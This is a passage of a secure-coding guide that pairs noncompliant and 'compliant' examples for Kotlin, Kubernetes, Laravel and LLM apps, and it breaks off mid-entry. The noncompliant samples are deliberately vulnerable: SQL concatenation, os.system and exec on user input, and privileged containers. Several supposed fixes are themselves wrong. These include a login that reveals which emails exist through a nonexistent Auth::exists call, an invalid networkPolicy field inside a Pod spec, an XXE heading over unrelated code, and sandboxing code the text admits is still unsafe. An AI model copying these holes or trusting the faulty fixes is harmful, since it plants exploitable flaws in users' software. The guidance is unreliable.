    "content": "---\nlayout: default\ntitle: Kotlin\nparent: Rules\n---\n\n# Kotlin\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### XML External Entity (XXE)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\nfun processInput(input: String) {\n    println(\"Processing input: $input\")\n    // Process the input without any validation or sanitization\n}\n```\n\nIn this noncompliant code, the processInput function takes a string input and directly uses it without any validation or sanitization. This code is vulnerable to various security risks, such as injection attacks (e.g., SQL injection, command injection) or Cross-Site Scripting (XSS) attacks. Attackers can manipulate the input to execute malicious code or access sensitive information.\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\nfun processInput(input: String) {\n    val sanitizedInput = input.filter { it.isLetterOrDigit() }\n    println(\"Processing input: $sanitizedInput\")\n    // Process the sanitized input\n}\n```\n\n\nIn the compliant code, the input is sanitized using the filter function, which removes any characters that are not letters or digits. This step helps prevent injection attacks by eliminating special characters that could be used to execute arbitrary code. By sanitizing the input before processing it, you reduce the risk of security vulnerabilities.\n\nIt's important to note that input sanitization requirements can vary depending on the specific use case and context. The example above provides a basic approach to sanitizing input, but it might not be sufficient for all scenarios. Depending on the desired input restrictions, you might need to employ more sophisticated techniques or use specialized libraries for input validation and sanitization.\n\nAdditional security measures you can implement to address vulnerabilities in Kotlin include:\n\n* Using prepared statements or parameterized queries when interacting with databases to prevent SQL injection attacks.\n* Applying proper input validation based on expected data types, formats, or ranges.\n* Utilizing security libraries or frameworks that offer features like secure password hashing, encryption, or authentication mechanisms.\n* Implementing access controls and authorization mechanisms to ensure that only authorized users can access sensitive operations or resources.\n\nBy applying these security measures and following best practices, you can mitigate vulnerabilities in Kotlin and enhance the overall security of your application.\n\n"
  },
  {
    "path": "docs/rules/kubernetes.md",
    "content": "---\nlayout: default\ntitle: Kubernetes\nparent: Rules\n---\n\n# Kubernetes\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Hardcoded Credential\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\napiVersion: v1\nkind: Deployment\nmetadata:\n  name: my-app\nspec:\n  replicas: 3\n  template:\n    metadata:\n      labels:\n        app: my-app\n    spec:\n      containers:\n      - name: my-app-container\n        image: my-app:v1\n        ports:\n        - containerPort: 8080\n        env:\n        - name: DATABASE_URL\n          value: \"mysql://root:password@localhost:3306/my_database\"\n```\n\nIn this noncompliant code, the Kubernetes Deployment configuration file contains a hardcoded database connection string in the env section. The database URL, including the username (root), password (password), and other sensitive details, is directly embedded in the configuration file. This approach introduces security risks, as sensitive information is exposed and can be easily compromised if the configuration file is accessed by unauthorized users.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\napiVersion: v1\nkind: Deployment\nmetadata:\n  name: my-app\nspec:\n  replicas: 3\n  template:\n    metadata:\n      labels:\n        app: my-app\n    spec:\n      containers:\n      - name: my-app-container\n        image: my-app:v1\n        ports:\n        - containerPort: 8080\n        env:\n        - name: DATABASE_URL\n          valueFrom:\n            secretKeyRef:\n              name: my-app-secrets\n              key: database-url\n```\n\n\nIn the compliant code, the hardcoded database connection string is replaced with a reference to a Kubernetes Secret. The Secret, named my-app-secrets, contains the sensitive information such as the database URL, username, and password. The valueFrom field in the env section instructs Kubernetes to retrieve the value of the database-url key from the specified Secret.\n\nBy leveraging Secrets, you can centralize and securely manage sensitive information in Kubernetes, preventing hardcoded vulnerabilities. Secrets can be encrypted, access-controlled, and rotated more easily compared to hardcoded values.\n\nEnsure that you follow secure practices for managing Secrets, such as granting appropriate permissions, encrypting Secrets at rest and in transit, regularly rotating Secrets, and utilizing Kubernetes RBAC (Role-Based Access Control) to control access to Secrets.\n\nBy using Secrets to store and retrieve sensitive information, you enhance the security, maintainability, and portability of your Kubernetes deployments.\n\n\n\n\n\n\n\n\n## Container Escape Attack\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged-pod\nspec:\n  containers:\n  - name: privileged-container\n    image: my-image\n    securityContext:\n      privileged: true\n```\n\nThe noncompliant code sets the privileged flag to true, which allows the container to run with extended privileges, making it easier for an attacker to escape the container and gain access to the host.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: restricted-pod\nspec:\n  containers:\n  - name: restricted-container\n    image: my-image\n    securityContext:\n      privileged: false\n```\n\nThe compliant code sets the privileged flag to false, which restricts the container from running with extended privileges, reducing the risk of container escape attacks.\n\n\n\n\n## Kubernetes API Server Attack\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: privileged-service-account\n  namespace: default\n```\n\nThe noncompliant code creates a privileged service account without specifying any RBAC (Role-Based Access Control) restrictions, allowing the account to have wide-ranging access to the Kubernetes API server.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: restricted-service-account\n  namespace: default\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: restricted-role\n  namespace: default\nrules:\n- apiGroups: [\"\"]\n  resources: [\"pods\"]\n  verbs: [\"get\", \"list\", \"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: restricted-role-binding\n  namespace: default\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: restricted-role\nsubjects:\n- kind: ServiceAccount\n  name: restricted-service-account\n  namespace: default\n```\n\nThe compliant code creates a restricted service account and applies RBAC rules to limit its access. In this example, the service account is only granted permissions to get, list, and watch pods, providing a more secure configuration.\n\n\n\n## Pod-to-Pod Network Attack\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: unsecured-pod\nspec:\n  containers:\n  - name: container-a\n    image: image-a\n  - name: container-b\n    image: image-b\n```\n\nThe noncompliant code deploys two containers within the same pod without any network policies or restrictions, allowing unrestricted communication between the containers.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secured-pod\nspec:\n  containers:\n  - name: container-a\n    image: image-a\n  - name: container-b\n    image: image-b\n  networkPolicy:\n    podSelector:\n      matchLabels:\n        app: secured-pod\n    ingress:\n    - from:\n        podSelector:\n          matchLabels:\n            app: secured-pod\n```\n\nThe compliant code introduces network policies to restrict communication between the containers within the pod. In this example, both container-a and container-b are part of the secured-pod, and the network policy ensures that only pods labeled as secured-pod can initiate ingress traffic to this pod. This setup limits the attack surface and prevents unauthorized access or interception of network traffic from other pods.\n\n\n\n## Privilege Escalation Attack\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged-pod\nspec:\n  containers:\n  - name: privileged-container\n    image: my-image\n    securityContext:\n      runAsUser: 0\n```\n\nThe noncompliant code sets the runAsUser field to 0, which runs the container as the root user, providing extensive privileges and increasing the risk of privilege escalation attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\napiVersion: v1\nkind: Pod\nmetadata:\n  name: restricted-pod\nspec:\n  containers:\n  - name: restricted-container\n    image: my-image\n    securityContext:\n      runAsUser: 1000\n```\n\nThe compliant code sets the runAsUser field to a non-root user (e.g., UID 1000), reducing the container's privileges and mitigating the risk of privilege escalation attacks.\n\n\n## Denial-of-Service (DoS) Attack\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\napiVersion: v1\nkind: Deployment\nmetadata:\n  name: resource-hungry-app\nspec:\n  replicas: 5\n  template:\n    spec:\n      containers:\n      - name: resource-hungry-container\n        image: my-image\n        resources:\n          requests:\n            cpu: \"1000m\"\n            memory: \"2Gi\"\n```\n\nThe noncompliant code specifies resource requests that are significantly higher than necessary, which can lead to resource exhaustion and potential DoS attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\napiVersion: v1\nkind: Deployment\nmetadata:\n  name: optimized-app\nspec:\n  replicas: 5\n  template:\n    spec:\n      containers:\n      - name: optimized-container\n        image: my-image\n        resources:\n          requests:\n            cpu: \"100m\"\n            memory: \"256Mi\"\n```\n\nThe compliant code sets resource requests to more appropriate values, ensuring that each container consumes only the necessary amount of CPU and memory resources, mitigating the risk of DoS attacks.\n"
  },
  {
    "path": "docs/rules/laravel.md",
    "content": "---\nlayout: default\ntitle: Laravel\nparent: Rules\n---\n\n# Laravel\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code\npublic function store(Request $request)\n{\n    $name = $request->input('name');\n    $message = $request->input('message');\n    \n    DB::table('comments')->insert([\n        'name' => $name,\n        'message' => $message,\n    ]);\n    \n    return redirect()->back();\n}\n```\n\nIn this noncompliant code, the store method receives user input through the $request object and directly inserts it into the database without any validation or sanitization. This makes the application vulnerable to Cross-Site Scripting (XSS) attacks, as an attacker can submit malicious JavaScript code as the message input, which will be rendered as-is when displayed back to users.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code\npublic function store(Request $request)\n{\n    $name = $request->input('name');\n    $message = $request->input('message');\n    \n    $sanitizedMessage = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');\n    \n    DB::table('comments')->insert([\n        'name' => $name,\n        'message' => $sanitizedMessage,\n    ]);\n    \n    return redirect()->back();\n}\n```\n\n\nIn the compliant code, the htmlspecialchars function is used to sanitize the user input before inserting it into the database. This function escapes special characters that have special meaning in HTML, preventing them from being interpreted as HTML tags or entities when displayed in the browser. This sanitization process helps mitigate XSS vulnerabilities by ensuring that user-supplied input is treated as plain text rather than executable code.\n\nIt's important to note that while the htmlspecialchars function provides basic protection against XSS attacks, it is context-specific. Depending on the specific output context (e.g., HTML attributes, JavaScript, CSS), additional sanitization or encoding may be required. Consider using specialized libraries or functions that are tailored to the specific output context to provide more comprehensive protection against XSS vulnerabilities.\n\nIn addition to input sanitization, other security measures you can implement in Laravel to mitigate XSS vulnerabilities include:\n\n* Utilizing Laravel's built-in CSRF protection to prevent cross-site request forgery attacks.\n* Applying output encoding using Laravel's Blade templating engine or helper functions like {{ }} to automatically escape variables.\n* Implementing content security policies (CSP) to control the types of content allowed to be loaded and executed on your web pages.\n\nBy properly sanitizing user input and implementing security measures throughout your Laravel application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application.\n\n\n\n\n\n\n\n\n\n### SQL injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$userInput = $_GET['username'];\n$query = \"SELECT * FROM users WHERE username = '\".$userInput.\"'\";\n$results = DB::select($query);\n```\n\nIn this noncompliant code, the user input is directly concatenated into the SQL query string, creating a vulnerability known as SQL injection. An attacker can manipulate the input to inject malicious SQL statements, potentially gaining unauthorized access to the database or manipulating its contents.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$userInput = $_GET['username'];\n$results = DB::select(\"SELECT * FROM users WHERE username = ?\", [$userInput]);\n```\n\n\nIn the compliant code, Laravel's query builder is used with prepared statements to mitigate SQL injection. The user input is bound to a placeholder (?) in the query, and Laravel handles the proper escaping and sanitization of the input.\n\nBy using prepared statements, the compliant code ensures that user input is treated as data rather than executable SQL code, thereby preventing SQL injection attacks.\n\n\n\n\n\n\n\n\n### Broken Access Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function deletePost(Request $request, $postId)\n{\n    $post = Post::find($postId);\n    \n    // Check if the currently authenticated user is the owner of the post\n    if ($post->user_id == Auth::user()->id) {\n        $post->delete();\n        return redirect('/dashboard')->with('success', 'Post deleted successfully.');\n    } else {\n        return redirect('/dashboard')->with('error', 'You do not have permission to delete this post.');\n    }\n}\n```\n\nIn this noncompliant code, the deletePost method assumes that the currently authenticated user is authorized to delete any post based solely on their user ID. However, it fails to perform proper access control checks to ensure that the user is the actual owner of the post. This can lead to broken access control, allowing unauthorized users to delete posts.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function deletePost(Request $request, $postId)\n{\n    $post = Post::find($postId);\n    \n    // Check if the currently authenticated user is the owner of the post\n    if ($post->user_id == Auth::user()->id) {\n        $post->delete();\n        return redirect('/dashboard')->with('success', 'Post deleted successfully.');\n    } else {\n        abort(403, 'Unauthorized');\n    }\n}\n```\n\nIn the compliant code, the deletePost method performs the same check to verify if the authenticated user is the owner of the post. However, instead of redirecting with an error message, it throws a 403 Forbidden exception using the abort function if the user is not authorized. This ensures that unauthorized users cannot determine the existence of a post they don't have access to.\n\n\n\n\n\n\n\n\n### Cryptographic Failures\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function encryptData($data, $key)\n{\n    return encrypt($data, $key);\n}\n\npublic function decryptData($encryptedData, $key)\n{\n    return decrypt($encryptedData, $key);\n}\n```\n\nIn this noncompliant code, the encryptData and decryptData functions use the default Laravel encryption functions encrypt and decrypt to perform cryptographic operations. However, this code does not consider important aspects of cryptographic security, such as key management, algorithm selection, and secure handling of sensitive data. This can lead to cryptographic failures and vulnerabilities in the application.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nuse Illuminate\\Support\\Facades\\Crypt;\n\npublic function encryptData($data, $key)\n{\n    return Crypt::encryptString($data);\n}\n\npublic function decryptData($encryptedData, $key)\n{\n    try {\n        return Crypt::decryptString($encryptedData);\n    } catch (DecryptException $e) {\n        // Handle decryption error\n    }\n}\n```\n\n\nIn the compliant code, we use Laravel's Crypt facade to perform the encryption and decryption operations. The encryptString and decryptString methods provided by the Crypt facade offer a more secure approach for cryptographic operations. Additionally, error handling is implemented using a try-catch block to properly handle decryption errors, such as when an incorrect key is provided.\n\n\n\n\n\n\n### Insecure Design\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function getUserProfile($userId)\n{\n    $user = User::find($userId);\n\n    if ($user) {\n        return [\n            'id' => $user->id,\n            'name' => $user->name,\n            'email' => $user->email,\n            'role' => $user->role,\n        ];\n    }\n\n    return null;\n}\n```\n\nIn this noncompliant code, the getUserProfile function retrieves a user's profile information based on the provided $userId. However, it lacks proper access control and authorization checks. Any user can potentially access the profile information of any other user, bypassing the necessary security measures.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function getUserProfile($userId, $requestingUserId)\n{\n    $requestingUser = User::find($requestingUserId);\n\n    if ($requestingUser && $requestingUser->isAdmin()) {\n        $user = User::find($userId);\n\n        if ($user) {\n            return [\n                'id' => $user->id,\n                'name' => $user->name,\n                'email' => $user->email,\n                'role' => $user->role,\n            ];\n        }\n    }\n\n    return null;\n}\n```\n\nIn the compliant code, we have introduced an additional parameter $requestingUserId to identify the user making the request. We first check if the requesting user exists and if they have the necessary privileges, such as being an administrator, to access the profile information. Only if these conditions are met, the profile information is returned. Otherwise, null is returned, indicating the lack of authorization.\n\n\n\n\n\n\n\n### Security Misconfiguration\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// config/database.php\n\nreturn [\n    'default' => 'mysql',\n    'connections' => [\n        'mysql' => [\n            'driver' => 'mysql',\n            'host' => '127.0.0.1',\n            'port' => '3306',\n            'database' => 'mydatabase',\n            'username' => 'root',\n            'password' => '',\n            'unix_socket' => '',\n            'charset' => 'utf8mb4',\n            'collation' => 'utf8mb4_unicode_ci',\n            'prefix' => '',\n            'strict' => false,\n            'engine' => null,\n        ],\n    ],\n];\n```\n\nIn this noncompliant code, the database configuration file config/database.php contains sensitive information, such as the database credentials. The password field is empty, which means the application is using a default or weak password, making it vulnerable to unauthorized access. Additionally, the strict mode is disabled, which can lead to insecure SQL queries.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// config/database.php\n\nreturn [\n    'default' => env('DB_CONNECTION', 'mysql'),\n    'connections' => [\n        'mysql' => [\n            'driver' => 'mysql',\n            'host' => env('DB_HOST', '127.0.0.1'),\n            'port' => env('DB_PORT', '3306'),\n            'database' => env('DB_DATABASE', 'mydatabase'),\n            'username' => env('DB_USERNAME', 'root'),\n            'password' => env('DB_PASSWORD', ''),\n            'unix_socket' => env('DB_SOCKET', ''),\n            'charset' => 'utf8mb4',\n            'collation' => 'utf8mb4_unicode_ci',\n            'prefix' => '',\n            'strict' => true,\n            'engine' => null,\n        ],\n    ],\n];\n```\n\n\nIn the compliant code, sensitive information such as the database credentials are not hard-coded directly in the configuration file. Instead, environment variables are used to retrieve the values. This allows for better security by keeping the sensitive information separate from the codebase and configurable based on the deployment environment.\n\n\n\nBy using environment variables, you can easily manage different configurations for development, testing, and production environments without exposing sensitive information in the codebase or version control system.\n\n\n\n\n\n\n### Vulnerable and Outdated Components\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ncomposer require laravel/framework:5.7.0\n```\n\nIn this noncompliant code, the Laravel framework version 5.7.0 is explicitly specified. This can lead to using a vulnerable and outdated version of the framework, as newer versions may contain security patches and bug fixes.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\ncomposer require laravel/framework:^8.0\n```\n\n\nIn the compliant code, the Laravel framework version is specified using a version constraint ^8.0. This allows Composer, the PHP dependency manager, to install the latest compatible version of the Laravel framework within the major version 8.x. This ensures that you receive the latest security updates and improvements.\n\n\n\n\n\n\n### Identification and Authentication Failures\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function login(Request $request)\n{\n    $credentials = $request->only('email', 'password');\n    \n    if (Auth::attempt($credentials)) {\n        // User authenticated successfully\n        return redirect()->intended('/dashboard');\n    } else {\n        // Authentication failed\n        return redirect()->back()->withErrors(['Invalid credentials']);\n    }\n}\n```\n\nIn this noncompliant code, the authentication process solely relies on the Auth::attempt() method, which attempts to authenticate the user based on the provided email and password. However, this code does not handle certain authentication failures appropriately, such as account lockouts or brute-force protection.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function login(Request $request)\n{\n    $credentials = $request->only('email', 'password');\n    \n    if (Auth::attempt($credentials)) {\n        // User authenticated successfully\n        return redirect()->intended('/dashboard');\n    } else {\n        // Authentication failed\n        if (Auth::exists(['email' => $request->input('email')])) {\n            // Invalid password provided\n            return redirect()->back()->withErrors(['Invalid password']);\n        } else {\n            // Invalid email provided\n            return redirect()->back()->withErrors(['Invalid email']);\n        }\n    }\n}\n```\n\n\nIn the compliant code, we have enhanced the authentication process by considering different types of authentication failures. If the provided email exists in the system database but the password is incorrect, we show an appropriate error message indicating an invalid password. If the provided email does not exist, we show an error message indicating an invalid email.\n\n\n\n\n\n\n### Software and Data Integrity Failures\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function updateProfile(Request $request)\n{\n    $user = Auth::user();\n\n    $user->name = $request->input('name');\n    $user->email = $request->input('email');\n    $user->save();\n\n    return redirect('/profile');\n}\n```\n\nIn this noncompliant code, the user's profile information is updated directly based on the user input received from the request. While this code successfully updates the user's name and email, it lacks proper validation and sanitization of the input, which can lead to software and data integrity failures.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function updateProfile(Request $request)\n{\n    $user = Auth::user();\n\n    $validatedData = $request->validate([\n        'name' => 'required|string|max:255',\n        'email' => 'required|email|unique:users,email,' . $user->id,\n    ]);\n\n    $user->name = $validatedData['name'];\n    $user->email = $validatedData['email'];\n    $user->save();\n\n    return redirect('/profile');\n}\n```\n\n\nIn the compliant code, we have added validation rules to ensure the integrity of the software and data. The validate() method is used to validate the input fields against specific rules. In this example, the name field is required and should be a string with a maximum length of 255 characters. The email field is also required and must be a valid email format. Additionally, the email field is validated for uniqueness, ensuring that no other user in the database has the same email.\n\n\n\n\n\n### Security Logging and Monitoring Failures\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function deleteUser(Request $request)\n{\n    $userId = $request->input('user_id');\n\n    $user = User::find($userId);\n\n    if ($user) {\n        $user->delete();\n    }\n\n    return redirect('/users');\n}\n```\n\nIn this noncompliant code, when a user is deleted, there is no logging or monitoring mechanism in place to track this activity. The code simply deletes the user if found and redirects back to the list of users. Without proper logging and monitoring, it becomes challenging to identify and investigate any unauthorized or suspicious user deletions.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function deleteUser(Request $request)\n{\n    $userId = $request->input('user_id');\n\n    $user = User::find($userId);\n\n    if ($user) {\n        $user->delete();\n\n        // Log the user deletion activity\n        Log::info('User deleted', ['user_id' => $userId]);\n    }\n\n    return redirect('/users');\n}\n```\n\n\nIn the compliant code, we have added a logging mechanism to track the user deletion activity. After successfully deleting the user, we use Laravel's Log facade to record an information-level log entry. The log message includes relevant details such as the user ID that was deleted. By incorporating logging into the code, we can keep a record of important security-related events and establish an audit trail for future analysis and monitoring.\n\n\n\n\n\n### Server-Side Request Forgery\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic function fetchExternalData(Request $request)\n{\n    $url = $request->input('url');\n\n    $data = file_get_contents($url);\n\n    return response()->json(['data' => $data]);\n}\n```\n\nIn this noncompliant code, the fetchExternalData method takes a URL input from the user and directly uses the file_get_contents function to fetch data from that URL. This can lead to a Server-Side Request Forgery vulnerability, where an attacker can provide a malicious URL that causes the application to perform unintended actions or access internal resources.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic function fetchExternalData(Request $request)\n{\n    $url = $request->input('url');\n\n    // Validate and sanitize the URL to prevent SSRF\n    $validatedUrl = filter_var($url, FILTER_VALIDATE_URL);\n    \n    if (!$validatedUrl) {\n        return response()->json(['error' => 'Invalid URL'], 400);\n    }\n\n    // Restrict allowed domains if necessary\n    $allowedDomains = ['example.com', 'trusteddomain.com'];\n    $parsedUrl = parse_url($validatedUrl);\n    \n    if (!in_array($parsedUrl['host'], $allowedDomains)) {\n        return response()->json(['error' => 'Access to the specified domain is not allowed'], 403);\n    }\n\n    // Fetch the data\n    $data = file_get_contents($validatedUrl);\n\n    return response()->json(['data' => $data]);\n}\n```\n\n\nIn the compliant code, several measures are taken to mitigate the Server-Side Request Forgery vulnerability:\n\n1. URL Validation and Sanitization: The URL input is validated and sanitized using the filter_var function with the FILTER_VALIDATE_URL filter. This ensures that the URL provided by the user is a valid URL.\n\n1. Restrict Allowed Domains: If necessary, a whitelist of trusted domains can be maintained. The parsed URL's host is checked against this list to ensure that only trusted domains are accessed. This helps prevent access to potentially malicious or internal resources.\n\n1. Proper Error Handling: In case of an invalid URL or unauthorized domain, appropriate error responses are returned. This ensures that potential SSRF attempts are properly handled and communicated to the user or client.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/rules/llm.md",
    "content": "---\nlayout: default\ntitle: LLM\nparent: Rules\n---\n\n# LLM\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n\n## LLM01:2023 - Prompt Injections\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\nuser_prompt = input(\"Enter your request: \")\nresponse = LLM_model.generate_prompt(user_prompt)\nprint(response)\n```\n\nIn the above code, the user is prompted to enter their request, which is then directly used as the prompt for the LLM model without any validation or sanitization. This code is susceptible to prompt injections as an attacker can input a malicious prompt to manipulate the LLM's behavior or extract sensitive information.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nimport re\n\n# Define a regular expression pattern to validate the user's input\ninput_pattern = r'^[a-zA-Z0-9\\s\\.,!?]+$'\n\ndef sanitize_input(user_input):\n    # Remove any special characters or symbols from the input\n    sanitized_input = re.sub(r'[^\\w\\s\\.,!?]', '', user_input)\n    return sanitized_input.strip()\n\ndef validate_input(user_input):\n    # Validate the user's input against the defined pattern\n    return re.match(input_pattern, user_input) is not None\n\nuser_prompt = input(\"Enter your request: \")\n\n# Sanitize and validate the user's input\nsanitized_prompt = sanitize_input(user_prompt)\n\nif validate_input(sanitized_prompt):\n    response = LLM_model.generate_prompt(sanitized_prompt)\n    print(response)\nelse:\n    print(\"Invalid input. Please enter a valid request.\")\n```\n\n\nIn the compliant code, several changes have been made to prevent prompt injections:\n\n1.  A regular expression pattern (`input_pattern`) is defined to validate the user's input. It allows only alphanumeric characters, spaces, commas, periods, exclamation marks, and question marks.\n    \n2.  The `sanitize_input` function removes any special characters or symbols from the user's input, ensuring it contains only the allowed characters.\n    \n3.  The `validate_input` function checks whether the sanitized input matches the defined pattern. If it does, the LLM model is called to generate the prompt and produce the response. Otherwise, an error message is displayed.\n    \n\nBy validating and sanitizing the user's input, the compliant code protects against prompt injections by ensuring that only safe and expected prompts are passed to the LLM model.\n\n\n\n\n\n## LLM02:2023 - Data Leakage\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\nuser_prompt = input(\"Enter your request: \")\nresponse = LLM_model.generate_prompt(user_prompt)\nprint(response)\n```\n\nIn the above code, the user is prompted to enter their request, which is then directly used as the prompt for the LLM model without any validation or sanitization. This code is susceptible to prompt injections as an attacker can input a malicious prompt to manipulate the LLM's behavior or extract sensitive information.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nimport re\n\nuser_prompt = input(\"Enter your request: \")\n\n# Check if the user prompt contains sensitive information\nif re.search(r'\\b(?:password|credit card|social security)\\b', user_prompt, re.IGNORECASE):\n    print(\"Error: Your request contains sensitive information.\")\nelse:\n    response = LLM_model.generate_prompt(user_prompt)\n    print(response)\n```\n\n\nIn the compliant vulnerable code, an attempt is made to prevent data leakage by checking if the user prompt contains sensitive information using regular expressions. If the user prompt matches any sensitive information patterns (such as \"password,\" \"credit card,\" or \"social security\"), an error message is displayed instead of generating a response. However, the code is still vulnerable because the error message itself could potentially disclose the presence of sensitive information in the user's input.\n\n\n\n\n## LLM03:2023 - Inadequate Sandboxing\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\nimport os\n\nuser_prompt = input(\"Enter your command: \")\nos.system(user_prompt)\n```\n\nIn this noncompliant code, the user is prompted to enter a command, and the `os.system()` function is used to execute the user's input directly. There is no proper sandboxing or restriction on the user's command, allowing them to execute any system-level command they desire. This lack of sandboxing exposes the underlying system to potential unauthorized actions and compromises its security.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nimport subprocess\n\nuser_prompt = input(\"Enter your command: \")\nsubprocess.run(user_prompt, shell=False)\n```\n\n\nIn the compliant vulnerable code, the `subprocess.run()` function is used instead of `os.system()`. The `shell` parameter is set to `False` to prevent command injection vulnerabilities. However, this code is still vulnerable because it lacks proper sandboxing or restriction on the user's command. The user can execute any command within the allowed privileges of the running process.\n\n\n\n\n## LLM04:2023 - Unauthorized Code Execution\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\nuser_prompt = input(\"Enter your command: \")\nexec(user_prompt)\n```\n\nIn the noncompliant code, the user's input is directly passed to the `exec()` function, which executes the command as is without any validation or sanitization. This code is vulnerable to unauthorized code execution since an attacker can craft a malicious command to be executed by the LLM.\n\n\n\n<span 